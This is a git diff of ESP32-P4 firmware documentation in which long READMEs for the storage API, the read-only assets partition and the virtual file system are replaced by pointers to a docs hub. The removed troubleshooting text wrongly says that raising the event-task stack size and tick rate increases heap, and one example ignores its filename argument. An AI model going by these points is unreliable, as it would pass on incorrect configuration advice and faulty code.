storage_file_info_t; -``` - -| Function | Description | -|----------|-------------| -| `esp_err_t storage_file_get_size(const char *path, size_t *size)` | Gets file size in bytes. | -| `esp_err_t storage_file_is_empty(const char *path, bool *empty)` | Checks if a file is empty. | -| `esp_err_t storage_file_get_info(const char *path, storage_file_info_t *info)` | Gets detailed info (size, times, attributes). | -| `esp_err_t storage_file_get_extension(const char *path, char *ext, size_t size)` | Extracts file extension. | - ---- - -## Reading Data - -Header: `storage_read.h` - -The API provides various ways to read data depending on your needs. - -### Strings & Binary - -```c -// Read entire file into a string buffer (null-terminated) -char buffer[128]; -storage_read_string("/config/settings.txt", buffer, sizeof(buffer)); - -// Read binary data -uint8_t data[64]; -size_t bytes_read; -storage_read_binary("/data/image.bin", data, sizeof(data), &bytes_read); - -// Read chunk from specific offset -storage_read_chunk("/data/large.bin", 1024, data, sizeof(data), &bytes_read); -``` - -### Line-by-Line - -```c -// Read specific line (1-based index) -char line[64]; -storage_read_line("/logs/system.log", line, sizeof(line), 5); - -// Read first/last line helpers -storage_read_first_line("/logs/system.log", line, sizeof(line)); -storage_read_last_line("/logs/system.log", line, sizeof(line)); - -// Iterate over all lines using a callback -void my_line_callback(const char *line, void *user_data) { - printf("Read line: %s\n", line); -} -storage_read_lines("/data/list.txt", my_line_callback, NULL); - -// Count lines in file -uint32_t count; -storage_count_lines("/data/list.txt", &count); -``` - -### Typed Data - -```c -int32_t count; -storage_read_int("/config/boot_count", &count); - -float temperature; -storage_read_float("/config/temp_threshold", &temperature); - -uint8_t byte; -storage_read_byte("/data/flag", &byte); - -uint8_t bytes[16]; -size_t num_bytes; -storage_read_bytes("/data/raw", bytes, sizeof(bytes), &num_bytes); -``` - -### Search Operations - -```c -// Check if file contains a string -bool found; -storage_file_contains("/logs/events.log", "ERROR", &found); - -// Count occurrences of a string -uint32_t count; -storage_count_occurrences("/logs/events.log", "WARNING", &count); -``` - ---- - -## Writing Data - -Header: `storage_write.h` - -All write functions automatically create parent directories if they don't exist (recursive mkdir). - -### Strings & Binary - -```c -// Write (overwrite) a string to a file -storage_write_string("/data/status.txt", "System Ready"); - -// Append to a file -storage_append_string("/logs/app.log", "Event occurred"); - -// Write binary data -uint8_t raw_data[] = {0x01, 0x02, 0x03}; -storage_write_binary("/data/blob.bin", raw_data, sizeof(raw_data)); - -// Append binary data -storage_append_binary("/data/stream.bin", raw_data, sizeof(raw_data)); -``` - -### Line-Based Writing - -```c -// Write single line with newline -storage_write_line("/data/entry.txt", "First entry"); - -// Append line with newline -storage_append_line("/logs/events.log", "Event occurred at 12:00"); -``` - -### Formatted Output - -Similar to `printf`, useful for logs or human-readable data. - -```c -storage_write_formatted("/logs/info.txt", "Boot count: %d\nTime: %u", count, timestamp); -storage_append_formatted("/logs/events.log", "[INFO] Sensor %s: %.2f\n", sensor_name, value); -``` - -### Typed Data - -```c -// Write integer -storage_write_int("/config/counter", 42); - -// Write float -storage_write_float("/config/threshold", 3.14159); - -// Write single byte -storage_write_byte("/data/flag", 0xFF); - -// Write byte array -uint8_t data[] = {0xDE, 0xAD, 0xBE, 0xEF}; -storage_write_bytes("/data/magic", data, sizeof(data)); -``` - -### CSV Support - -Helper for writing structured data. - -```c -const char *header[] = {"Timestamp", "Value", "Unit"}; -storage_write_csv_row("/data/sensors.csv", header, 3); -// Writes: Timestamp,Value,Unit\n - -const char *row[] = {"1234567890", "23.5", "°C"}; -storage_append_csv_row("/data/sensors.csv", row, 3); -// Appends: 1234567890,23.5,°C\n -``` - ---- - -## Stream I/O - -Header: `storage_stream.h` - -For high-throughput scenarios where the file must stay open across multiple writes (e.g., SPI bridge callbacks, packet capture, continuous logging). - -```c -#include "storage_stream.h" - -// Open a stream (file stays open until explicitly closed) -storage_stream_t stream = storage_stream_open(TOS_PATH_WIFI_LOOT_PCAPS "/capture.pcap", "wb"); - -// Write chunks as they arrive (e.g., inside a SPI stream callback) -storage_stream_write(stream, packet_data, packet_len); - -// Periodic flush to prevent data loss on crash -storage_stream_flush(stream); - -// Check state -if (storage_stream_is_open(stream)) { - size_t total = storage_stream_bytes_written(stream); -} - -// Read mode works too -storage_stream_t reader = storage_stream_open(TOS_PATH_LOGS "/system.log", "r"); -char buf[256]; -size_t read; -storage_stream_read(reader, buf, sizeof(buf), &read); -storage_stream_close(reader); - -// Close and free resources -storage_stream_close(stream); -``` - -| Function | Description | -|----------|-------------| -| `storage_stream_open(path, mode)` | Opens file, returns opaque handle | -| `storage_stream_write(stream, data, size)` | Writes chunk without closing | -| `storage_stream_read(stream, buf, size, *read)` | Reads chunk without closing | -| `storage_stream_flush(stream)` | Forces write to SD | -| `storage_stream_close(stream)` | Closes file and frees handle | -| `storage_stream_is_open(stream)` | Checks if handle is valid | -| `storage_stream_bytes_written(stream)` | Total bytes written in session | - ---- - -## Directory Operations - -Header: `storage_impl.h` - -| Function | Description | -|----------|-------------| -| `esp_err_t storage_dir_create(const char *path)` | Creates a directory. | -| `esp_err_t storage_dir_remove(const char *path)` | Removes an empty directory. | -| `esp_err_t storage_dir_remove_recursive(const char *path)` | Removes a directory and all contents. | -| `bool storage_dir_exists(const char *path)` | Checks if directory exists. | -| `esp_err_t storage_dir_is_empty(const char *path, bool *empty)` | Checks if directory is empty. | -| `esp_err_t storage_dir_list(const char *path, storage_dir_callback_t cb, void *user_data)` | Lists directory contents via callback. | -| `esp_err_t storage_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count)` | Counts files and subdirectories. | - -**Note**: `storage_dir_copy_recursive()` and `storage_dir_get_size()` return `ESP_ERR_NOT_SUPPORTED` (not yet implemented). - -### Directory Listing Example - -```c -void list_callback(const char *name, bool is_dir, void *user_data) { - printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); -} - -storage_dir_list("/data", list_callback, NULL); -``` - ---- - -## Storage Information - -Header: `storage_impl.h` - -Monitor storage usage and health. - -```c -// Print detailed usage report to log -storage_print_info_detailed(); - -// Get complete storage information -storage_info_t info; -storage_get_info(&info); -printf("Backend: %s\n", info.backend_name); -printf("Mount: %s\n", info.mount_point); -printf("Total: %llu bytes\n", info.total_bytes); - -// Get individual values -uint64_t total, free, used; -storage_get_total_space(&total); -storage_get_free_space(&free); -storage_get_used_space(&used); - -// Get usage percentage -float percent; -storage_get_usage_percent(&percent); - -// Get backend information -const char *backend = storage_get_backend_type(); -const char *mount = storage_get_mount_point_str(); -``` - ---- - -## Helper Functions - -Header: `storage_mkdir.h` - -```c -// Create directory path recursively (used internally by write functions) -esp_err_t storage_mkdir_recursive(const char *path); -``` - -This function creates all parent directories as needed. It's automatically called by write operations, but can be used directly when needed. - ---- - -## Example Usage - -```c -#include "storage_init.h" -#include "storage_impl.h" -#include "storage_read.h" -#include "storage_write.h" -#include "storage_stream.h" -#include "tos_storage_paths.h" - -void app_main() { - if (storage_init() != ESP_OK) { - printf("Storage init failed!\n"); - return; - } - - // Read config - char config[1024]; - storage_read_string(TOS_PATH_CONFIG_SCREEN, config, sizeof(config)); - - // Log startup - storage_append_formatted(TOS_PATH_LOGS "/boot.log", - "System started at %lu\n", xTaskGetTickCount()); - - // Stream write (for high-throughput capture) - storage_stream_t stream = storage_stream_open(TOS_PATH_WIFI_LOOT_PCAPS "/capture.pcap", "wb"); - storage_stream_write(stream, some_data, data_len); - storage_stream_close(stream); - - // Check storage health - float usage; - storage_get_usage_percent(&usage); - printf("Storage usage: %.1f%%\n", usage); -} -``` - ---- - -## Best Practices - -1. **Use `TOS_PATH_*` macros** - Never hardcode `"/sdcard/"` or mount points -2. **Check return values** - All functions return `esp_err_t` for error handling -3. **Use stream for high-throughput** - SPI callbacks, packet capture, continuous logging -4. **Monitor storage** - Use `storage_get_usage_percent()` to prevent full disk -5. **Use appropriate read functions** - Line-by-line for logs, binary for images -6. **Automatic directory creation** - Write functions create parent directories automatically -7. **Close streams** - Always call `storage_stream_close()` to prevent FAT32 corruption - ---- - -## Error Handling - -All functions return `esp_err_t` values. Common return codes: - -- `ESP_OK` - Operation successful -- `ESP_ERR_INVALID_ARG` - Invalid argument (NULL pointer, invalid size) -- `ESP_ERR_INVALID_STATE` - Storage not mounted -- `ESP_FAIL` - General failure (file not found, I/O error, etc.) -- `ESP_ERR_NOT_FOUND` - Item not found (used by some search functions) -- `ESP_ERR_NOT_SUPPORTED` - Feature not implemented +Documentation for this component lives in the project docs hub (single source of truth): -Always check return values: +- [docs/storage_api/p4.md](../../../../docs/storage_api/p4.md) -```c -esp_err_t ret = storage_write_string("/config/test.txt", "data"); -if (ret != ESP_OK) { - ESP_LOGE(TAG, "Write failed: %s", esp_err_to_name(ret)); -} -``` \ No newline at end of file +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/storage_assets/README.md b/firmware_p4/components/Service/storage_assets/README.md index 9851449ca..93100e2cd 100644 --- a/firmware_p4/components/Service/storage_assets/README.md +++ b/firmware_p4/components/Service/storage_assets/README.md @@ -1,623 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_assets/p4.md`](../../../../docs/storage_assets/p4.md). - # Storage Assets Component -This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. - -## Overview - -- **Location:** `components/Service/storage_assets/` -- **Main Header:** `include/storage_assets.h` -- **Implementation:** `storage_assets.c` -- **Dependencies:** `esp_littlefs`, `esp_vfs` -- **Partition:** `assets` (LittleFS, read-only in production) - -## Key Features - -- **Dedicated Partition:** Separate from application code and main storage. -- **LittleFS Backend:** Efficient wear-leveling filesystem optimized for flash. -- **Read-Only Access:** Assets are flashed once and cannot be modified at runtime. -- **Auto-Discovery:** Automatically lists all files in partition on initialization. -- **Memory Management:** Helper function to load entire files with automatic allocation. -- **Directory Traversal:** Recursive directory listing for debugging. - -## Typical Use Cases - -- **Graphical Assets:** Logos, icons, sprites, bitmaps for displays. -- **Fonts:** Pre-compiled font files for text rendering. -- **Configuration Templates:** Default configuration files. -- **Audio Samples:** Short sound effects or melodies. -- **IR/RF Databases:** Preloaded signal databases. -- **Firmware Resources:** Any read-only data needed by the application. - -## Configuration - -### Partition Table - -The assets partition must be defined in your partition table (`partitions.csv`): - -```csv -# Name, Type, SubType, Offset, Size, Flags -nvs, data, nvs, 0x9000, 0x6000, -phy_init, data, phy, 0xf000, 0x1000, -factory, app, factory, 0x10000, 1M, -assets, data, spiffs, 0x110000, 512K, -storage, data, spiffs, 0x190000, 1M, -``` - -**Important Notes:** -- The SubType must be `spiffs` (even though we use LittleFS - this is an ESP-IDF quirk). -- Size should be sufficient for all your assets (adjust as needed). -- The partition must be flashed before use. - -### Constants - -```c -#define ASSETS_MOUNT_POINT "/assets" -#define ASSETS_PARTITION_LABEL "assets" -``` - -These are defined internally and cannot be changed without modifying the source. - ---- - -## API Reference - -### Initialization - -#### `storage_assets_init` - -```c -esp_err_t storage_assets_init(void); -``` - -Initializes and mounts the assets partition. Must be called before any other asset operations. - -**Behavior:** -- Mounts the LittleFS partition at `/assets`. -- Formats the partition if mounting fails (useful for first flash). -- Lists all files in the partition for debugging. -- Displays partition size and usage statistics. - -**Returns:** -- `ESP_OK` - Assets partition mounted successfully. -- `ESP_ERR_NOT_FOUND` - Partition 'assets' not found in partition table. -- `ESP_FAIL` - Mount or format failed. -- `ESP_ERR_INVALID_STATE` - Already initialized. - -**Example:** -```c -void app_main(void) { - esp_err_t ret = storage_assets_init(); - if (ret == ESP_OK) { - printf("Assets ready!\n"); - } else if (ret == ESP_ERR_NOT_FOUND) { - printf("ERROR: 'assets' partition not found!\n"); - printf("Check your partition table.\n"); - } else { - printf("Assets init failed: %s\n", esp_err_to_name(ret)); - } -} -``` - -**Console Output Example:** -``` -I (1234) storage_assets: Initializing LittleFS for assets partition -I (1245) storage_assets: Assets ready at /assets -I (1246) storage_assets: Partition size: 524288 bytes, used: 12345 bytes -I (1247) storage_assets: === Files in assets partition === -I (1248) storage_assets: [1] logo.bin (1200 bytes) -I (1249) storage_assets: [DIR] fonts/ -I (1250) storage_assets: [2] arial.ttf (45000 bytes) -I (1251) storage_assets: [3] config_template.json (567 bytes) -I (1252) storage_assets: Total: 3 file(s), 1 dir(s) -I (1253) storage_assets: ================================ -``` - ---- - -#### `storage_assets_deinit` - -```c -esp_err_t storage_assets_deinit(void); -``` - -Unmounts the assets partition and releases resources. - -**Returns:** -- `ESP_OK` - Unmounted successfully. -- `ESP_ERR_INVALID_STATE` - Not initialized. - -**Example:** -```c -// Before system shutdown -storage_assets_deinit(); -``` - ---- - -#### `storage_assets_is_mounted` - -```c -bool storage_assets_is_mounted(void); -``` - -Checks if the assets partition is currently mounted. - -**Returns:** -- `true` - Partition is mounted and ready. -- `false` - Partition is not mounted. - -**Example:** -```c -if (!storage_assets_is_mounted()) { - storage_assets_init(); -} -``` - ---- - -### File Access - -#### `storage_assets_get_file_size` - -```c -esp_err_t storage_assets_get_file_size(const char *filename, size_t *out_size); -``` - -Gets the size of a file in the assets partition without reading it. - -**Parameters:** -- `filename` - Name of the file (e.g., "logo.bin", "fonts/arial.ttf"). -- `out_size` - Pointer to store file size in bytes. - -**Returns:** -- `ESP_OK` - Size retrieved successfully. -- `ESP_ERR_INVALID_STATE` - Assets not initialized. -- `ESP_ERR_INVALID_ARG` - NULL parameters. -- `ESP_ERR_NOT_FOUND` - File doesn't exist. - -**Example:** -```c -size_t logo_size; -if (storage_assets_get_file_size("logo.bin", &logo_size) == ESP_OK) { - printf("Logo is %zu bytes\n", logo_size); - - // Allocate buffer of exact size - uint8_t *buffer = malloc(logo_size); -} -``` - ---- - -#### `storage_assets_read_file` - -```c -esp_err_t storage_assets_read_file(const char *filename, uint8_t *buffer, size_t size, size_t *out_read); -``` - -Reads file content into a pre-allocated buffer. - -**Parameters:** -- `filename` - Name of the file. -- `buffer` - Pre-allocated buffer to receive data. -- `size` - Maximum bytes to read (buffer size). -- `out_read` - Pointer to store actual bytes read (can be NULL). - -**Returns:** -- `ESP_OK` - File read successfully. -- `ESP_ERR_INVALID_STATE` - Assets not initialized. -- `ESP_ERR_INVALID_ARG` - Invalid parameters. -- `ESP_ERR_NOT_FOUND` - File doesn't exist. - -**Example:** -```c -uint8_t buffer[2048]; -size_t bytes_read; - -esp_err_t ret = storage_assets_read_file("config.json", buffer, sizeof(buffer), &bytes_read); -if (ret == ESP_OK) { - buffer[bytes_read] = '\0'; // Null-terminate if text - printf("Config: %s\n", (char *)buffer); -} else { - printf("Failed to read config: %s\n", esp_err_to_name(ret)); -} -``` - ---- - -#### `storage_assets_load_file` - -```c -uint8_t* storage_assets_load_file(const char *filename, size_t *out_size); -``` - -Loads an entire file into dynamically allocated memory. **Caller must free() the returned pointer.** - -**Parameters:** -- `filename` - Name of the file. -- `out_size` - Pointer to store file size (can be NULL). - -**Returns:** -- Pointer to allocated buffer containing file data. -- `NULL` on error (allocation failure, file not found, etc.). - -**Example:** -```c -size_t image_size; -uint8_t *image_data = storage_assets_load_file("splash_screen.bin", &image_size); - -if (image_data != NULL) { - // Use the image data - display_draw_bitmap(image_data, image_size); - - // IMPORTANT: Free when done! - free(image_data); -} else { - printf("Failed to load splash screen\n"); -} -``` - -**Memory Warning:** This function allocates heap memory. Ensure sufficient heap is available before loading large files. - ---- - -### Utility Functions - -#### `storage_assets_get_mount_point` - -```c -const char* storage_assets_get_mount_point(void); -``` - -Returns the mount point path for the assets partition. - -**Returns:** -- Constant string "/assets". - -**Example:** -```c -const char *mount = storage_assets_get_mount_point(); - -// Construct full path -char full_path[128]; -snprintf(full_path, sizeof(full_path), "%s/%s", mount, "config.json"); - -// Use with standard file operations -FILE *f = fopen(full_path, "r"); -``` - ---- - -#### `storage_assets_print_info` - -```c -void storage_assets_print_info(void); -``` - -Prints detailed information about the assets partition to the console. - -**Parameters:** None - -**Returns:** Nothing (void) - -**Example Output:** -``` -I (1234) storage_assets: === Assets Partition Info === -I (1235) storage_assets: Mount point: /assets -I (1236) storage_assets: Partition: assets -I (1237) storage_assets: Total size: 524288 bytes (512.00 KB) -I (1238) storage_assets: Used: 98765 bytes (96.45 KB) -I (1239) storage_assets: Free: 425523 bytes (415.55 KB) -I (1240) storage_assets: Usage: 18.8% -``` - -**Usage:** -```c -// During debugging or diagnostics -storage_assets_print_info(); -``` - ---- - -## Implementation Details - -### Directory Listing - -The component includes a recursive directory listing function that runs automatically during initialization: - -```c -static void list_directory_recursive(const char *path, const char *prefix, - int *file_count, int *dir_count); -``` - -This helps during development to verify that assets were flashed correctly. - -### Path Handling - -All file operations internally prepend the mount point: - -```c -// User provides: "logo.bin" -// Internally becomes: "/assets/logo.bin" -``` - -Subdirectories are supported: -```c -// User provides: "fonts/arial.ttf" -// Internally becomes: "/assets/fonts/arial.ttf" -``` - -### Error Handling - -All functions validate: -- Initialization state -- Parameter validity -- File existence -- Memory allocation success - -Always check return values to ensure robust operation. - ---- - -## Usage Patterns - -### Loading a Bitmap for Display - -```c -void display_splash_screen(void) { - size_t image_size; - uint8_t *image = storage_assets_load_file("splash.bin", &image_size); - - if (image == NULL) { - ESP_LOGE(TAG, "Failed to load splash screen"); - return; - } - - // Expected format: 128x64 monochrome bitmap - if (image_size != (128 * 64) / 8) { - ESP_LOGW(TAG, "Unexpected image size: %zu", image_size); - } - - // Send to display - oled_draw_bitmap(0, 0, image, 128, 64); - - // Clean up - free(image); -} -``` - ---- - -### Loading Configuration Template - -```c -cJSON* load_default_config(void) { - uint8_t *json_data = storage_assets_load_file("config_template.json", NULL); - if (json_data == NULL) { - return NULL; - } - - cJSON *config = cJSON_Parse((const char *)json_data); - free(json_data); - - return config; -} -``` - ---- - -### Preloading Assets at Boot - -```c -typedef struct { - uint8_t *logo_data; - size_t logo_size; - uint8_t *font_data; - size_t font_size; -} app_assets_t; - -app_assets_t g_assets = {0}; - -esp_err_t preload_assets(void) { - // Load logo - g_assets.logo_data = storage_assets_load_file("logo.bin", &g_assets.logo_size); - if (g_assets.logo_data == NULL) { - return ESP_FAIL; - } - - // Load font - g_assets.font_data = storage_assets_load_file("font.bin", &g_assets.font_size); - if (g_assets.font_data == NULL) { - free(g_assets.logo_data); - return ESP_FAIL; - } - - ESP_LOGI(TAG, "Assets preloaded (%zu + %zu bytes)", - g_assets.logo_size, g_assets.font_size); - - return ESP_OK; -} - -void cleanup_assets(void) { - free(g_assets.logo_data); - free(g_assets.font_data); - memset(&g_assets, 0, sizeof(g_assets)); -} -``` - ---- - -### Chunked Reading for Large Files - -```c -esp_err_t process_large_asset(const char *filename) { - FILE *f = fopen("/assets/large_file.dat", "rb"); - if (!f) { - return ESP_FAIL; - } - - uint8_t chunk[512]; - size_t bytes_read; - - while ((bytes_read = fread(chunk, 1, sizeof(chunk), f)) > 0) { - // Process chunk - process_data(chunk, bytes_read); - } - - fclose(f); - return ESP_OK; -} -``` - ---- - -### Conditional Asset Loading - -```c -void load_language_assets(const char *language) { - char filename[64]; - snprintf(filename, sizeof(filename), "strings_%s.json", language); - - uint8_t *strings = storage_assets_load_file(filename, NULL); - if (strings == NULL) { - ESP_LOGW(TAG, "Language '%s' not found, using default", language); - strings = storage_assets_load_file("strings_en.json", NULL); - } - - if (strings != NULL) { - parse_language_strings((const char *)strings); - free(strings); - } -} -``` - ---- - -## Flashing Assets - -### Option 1: Automatic (Recommended) - -Add to your `CMakeLists.txt`: - -```cmake -# Create assets partition image from 'assets' folder -littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) -``` - -This automatically flashes the `assets/` folder content when running `idf.py flash`. - -### Option 2: Manual Flash - -```bash -# Build the assets partition image -idf.py build - -# Flash everything including assets -idf.py flash - -# Or flash only assets partition -esptool.py write_flash 0x110000 build/assets.bin -``` - -**Note:** Replace `0x110000` with the actual offset from your partition table. - -### Asset Folder Structure - -``` -project/ -├── assets/ -│ ├── logo.bin -│ ├── config_template.json -│ ├── fonts/ -│ │ ├── arial.ttf -│ │ └── mono.ttf -│ └── images/ -│ ├── icon_wifi.bin -│ └── icon_battery.bin -└── main/ - └── main.c -``` - ---- - -## Troubleshooting - -### "Partition 'assets' not found" - -**Problem:** The assets partition is not defined in the partition table. - -**Solution:** -1. Add partition to `partitions.csv`: - ```csv - assets, data, spiffs, 0x110000, 512K, - ``` -2. Set partition table in `sdkconfig`: - ``` - CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" - CONFIG_PARTITION_TABLE_CUSTOM=y - ``` -3. Rebuild: `idf.py fullclean && idf.py build` - ---- - -### "(empty - partition has no files!)" - -**Problem:** Assets partition exists but contains no files. - -**Solution:** -1. Create `assets/` folder in project root -2. Add files to the folder -3. Enable automatic flash in `CMakeLists.txt`: - ```cmake - littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) - ``` -4. Rebuild and flash: `idf.py flash` - ---- - -### "Failed to allocate memory" - -**Problem:** Insufficient heap for large asset file. - -**Solutions:** -- Use `storage_assets_read_file()` with pre-allocated buffer instead of `load_file()` -- Read file in chunks instead of loading entirely -- Increase heap size in `sdkconfig`: - ``` - CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=4096 - CONFIG_FREERTOS_HZ=1000 - ``` - ---- - -### File Not Found at Runtime - -**Problem:** File exists in assets folder but not found at runtime. - -**Checklist:** -- [ ] Is partition flashed? (`idf.py flash`) -- [ ] Is filename correct? (case-sensitive!) -- [ ] Is `storage_assets_init()` called before reading? -- [ ] Check `storage_assets_print_info()` output - does it list your file? - ---- - -## Performance Considerations - -- **Initialization:** Takes 100-500ms depending on partition size and file count. -- **File Reading:** LittleFS is optimized for small files (< 1MB). -- **Memory:** `load_file()` allocates heap - monitor with `esp_get_free_heap_size()`. -- **Large Files:** For files > 100KB, consider chunked reading instead of full load. - ---- +Documentation for this component lives in the project docs hub (single source of truth): -## Best Practices +- [docs/storage_assets/p4.md](../../../../docs/storage_assets/p4.md) -1. **Keep Assets Small:** LittleFS works best with many small files rather than few large ones. -2. **Compress When Possible:** Pre-compress assets (e.g., PNG → binary bitmap) before flashing. -3. **Validate Sizes:** Always check file sizes match expected values. -4. **Free Memory:** Always `free()` pointers returned by `load_file()`. -5. **Handle Errors:** Never assume assets are present - always validate return codes. -6. **Use Subdirectories:** Organize assets logically (fonts/, images/, sounds/). -7. **Version Assets:** Include version info in filenames or metadata for updates. \ No newline at end of file +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/storage_vfs/README.md b/firmware_p4/components/Service/storage_vfs/README.md index 906106141..718c12a02 100644 --- a/firmware_p4/components/Service/storage_vfs/README.md +++ b/firmware_p4/components/Service/storage_vfs/README.md @@ -1,549 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_vfs/p4.md`](../../../../docs/storage_vfs/p4.md). - # Virtual File System (VFS) - Unified Storage Abstraction -The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). - -## Overview - -- **Location:** `components/Service/storage_vfs/` -- **Main Headers:** - - `include/vfs_core.h` (Core API) - - `include/vfs_config.h` (Backend selection) - - `include/vfs_sdcard.h` (SD Card backend) - - `include/vfs_littlefs.h` (LittleFS backend) -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `esp_littlefs`, `sdmmc`, `spi` - -## Architecture Position - -``` -Application Code - ↓ - Storage API ← Recommended for most applications - ↓ - VFS Core ← You are here (low-level abstraction) - ↓ -Backend-Specific Drivers (SD/LittleFS/SPIFFS/RAM) -``` - -**When to use VFS directly:** -- You need POSIX-like file descriptor operations -- You want manual control over open/read/write/close -- Storage API doesn't provide what you need -- You're building your own storage abstraction - -**When NOT to use VFS:** -- For simple file operations → Use **Storage API** instead -- For read-only assets → Use **Storage Assets** instead - ---- - -## Key Features - -- **Multiple Backends:** Support for SD Card (FAT), SPIFFS, LittleFS, and RAM filesystem -- **Single Backend Selection:** Compile-time selection ensures only one backend is active -- **POSIX-Like API:** Familiar file operations (open, read, write, close, lseek) -- **Directory Operations:** Full directory tree manipulation -- **Backend Abstraction:** Switch storage backends by changing configuration - ---- - -## Backend Selection (Compile-Time) - -The VFS system uses **compile-time backend selection** to ensure only one storage backend is active. - -Edit `vfs_config.h`: - -```c -// Only ONE backend can be uncommented at a time - -#define VFS_USE_SD_CARD // ← Active backend -// #define VFS_USE_SPIFFS -// #define VFS_USE_LITTLEFS -// #define VFS_USE_RAMFS -``` - -**Important:** The system validates this at compile time and will error if multiple backends are selected. - -### Backend Configurations - -Each backend has specific configuration in `vfs_config.h`: - -#### SD Card Backend -```c -#define VFS_MOUNT_POINT "/sdcard" -#define VFS_MAX_FILES 10 -#define VFS_FORMAT_ON_FAIL false -#define VFS_BACKEND_NAME "SD Card" -``` - -#### LittleFS Backend -```c -#define VFS_MOUNT_POINT "/littlefs" -#define VFS_MAX_FILES 10 -#define VFS_FORMAT_ON_FAIL true -#define VFS_PARTITION_LABEL "storage" -#define VFS_BACKEND_NAME "LittleFS" -``` - ---- - -## Data Structures - -### File Descriptor - -```c -typedef int vfs_fd_t; -#define VFS_INVALID_FD -1 -``` - -File descriptor for open files. Similar to POSIX file descriptors. - ---- - -### File/Directory Information - -```c -typedef struct { - char name[VFS_MAX_NAME]; // Entry name (64 chars max) - vfs_entry_type_t type; // VFS_TYPE_FILE or VFS_TYPE_DIR - size_t size; // File size in bytes - time_t mtime; // Last modification time - time_t ctime; // Creation time - bool is_hidden; // Hidden attribute - bool is_readonly; // Read-only attribute -} vfs_stat_t; -``` - ---- - -### Filesystem Statistics - -```c -typedef struct { - uint64_t total_bytes; // Total filesystem capacity - uint64_t free_bytes; // Available free space - uint64_t used_bytes; // Space currently in use - uint32_t block_size; // Filesystem block size - uint32_t total_blocks; // Total number of blocks - uint32_t free_blocks; // Available free blocks -} vfs_statvfs_t; -``` - ---- - -## Core API Reference - -### Initialization - -#### `vfs_init_auto` - -```c -esp_err_t vfs_init_auto(void); -``` - -Initializes the VFS backend selected in `vfs_config.h`. - -**Returns:** -- `ESP_OK` - Backend initialized and mounted successfully -- `ESP_FAIL` - Initialization failed (check logs) - ---- - -#### `vfs_deinit_auto` - -```c -esp_err_t vfs_deinit_auto(void); -``` - -Unmounts and deinitializes the active VFS backend. - -**Returns:** -- `ESP_OK` - Backend deinitialized successfully -- `ESP_FAIL` - Deinitialization failed - ---- - -#### `vfs_is_mounted_auto` - -```c -bool vfs_is_mounted_auto(void); -``` - -Checks if the active backend is currently mounted. - ---- - -#### `vfs_get_mount_point` - -```c -const char* vfs_get_mount_point(void); -``` - -Returns the mount point path for the active backend (e.g., "/sdcard", "/littlefs"). - ---- - -#### `vfs_get_backend_name` - -```c -const char* vfs_get_backend_name(void); -``` - -Returns the human-readable name of the active backend (e.g., "SD Card", "LittleFS"). - ---- - -#### `vfs_print_info` - -```c -void vfs_print_info(void); -``` - -Prints detailed information about the active VFS backend to the console, including mount point, capacity, and usage statistics. - ---- - -### File Operations (POSIX-like) - -#### `vfs_open` - -```c -vfs_fd_t vfs_open(const char *path, int flags, int mode); -``` - -Opens a file with specified flags and permissions. - -**Parameters:** -- `path` - Full path to file (e.g., "/sdcard/data.txt") -- `flags` - Opening mode flags (bitwise OR): - - `VFS_O_RDONLY` - Read-only - - `VFS_O_WRONLY` - Write-only - - `VFS_O_RDWR` - Read and write - - `VFS_O_CREAT` - Create if doesn't exist - - `VFS_O_TRUNC` - Truncate to zero length - - `VFS_O_APPEND` - Append to end of file - - `VFS_O_EXCL` - Fail if file exists (with O_CREAT) -- `mode` - File permissions (POSIX mode, e.g., 0644) - -**Returns:** -- Valid file descriptor (>= 0) on success -- `VFS_INVALID_FD` on failure - ---- - -#### `vfs_read` - -```c -ssize_t vfs_read(vfs_fd_t fd, void *buf, size_t size); -``` - -Reads data from an open file. - -**Returns:** -- Number of bytes read (>= 0) -- -1 on error - ---- - -#### `vfs_write` - -```c -ssize_t vfs_write(vfs_fd_t fd, const void *buf, size_t size); -``` - -Writes data to an open file. - -**Returns:** -- Number of bytes written (>= 0) -- -1 on error - ---- - -#### `vfs_lseek` - -```c -off_t vfs_lseek(vfs_fd_t fd, off_t offset, int whence); -``` - -Moves the file position pointer. - -**Parameters:** -- `whence` - Reference point: - - `VFS_SEEK_SET` - From beginning of file - - `VFS_SEEK_CUR` - From current position - - `VFS_SEEK_END` - From end of file - -**Returns:** -- New file position on success -- -1 on error - ---- - -#### `vfs_close` - -```c -esp_err_t vfs_close(vfs_fd_t fd); -``` - -Closes an open file descriptor. - ---- - -#### `vfs_fsync` - -```c -esp_err_t vfs_fsync(vfs_fd_t fd); -``` - -Flushes file buffers to storage, ensuring data is physically written. - ---- - -### File Metadata - -#### `vfs_stat` - -```c -esp_err_t vfs_stat(const char *path, vfs_stat_t *st); -``` - -Gets information about a file or directory. - ---- - -#### `vfs_exists` - -```c -bool vfs_exists(const char *path); -``` - -Checks if a file or directory exists. - ---- - -#### `vfs_get_size` - -```c -esp_err_t vfs_get_size(const char *path, size_t *size); -``` - -Gets the size of a file in bytes. - ---- - -### File Management - -#### `vfs_rename` - -```c -esp_err_t vfs_rename(const char *old_path, const char *new_path); -``` - -Renames or moves a file. - ---- - -#### `vfs_unlink` - -```c -esp_err_t vfs_unlink(const char *path); -``` - -Deletes a file. - ---- - -#### `vfs_truncate` - -```c -esp_err_t vfs_truncate(const char *path, off_t length); -``` - -Resizes a file to the specified length. - ---- - -### Directory Operations - -#### `vfs_mkdir` - -```c -esp_err_t vfs_mkdir(const char *path, int mode); -``` - -Creates a new directory. - ---- - -#### `vfs_rmdir` - -```c -esp_err_t vfs_rmdir(const char *path); -``` - -Removes an empty directory. - ---- - -#### `vfs_rmdir_recursive` - -```c -esp_err_t vfs_rmdir_recursive(const char *path); -``` - 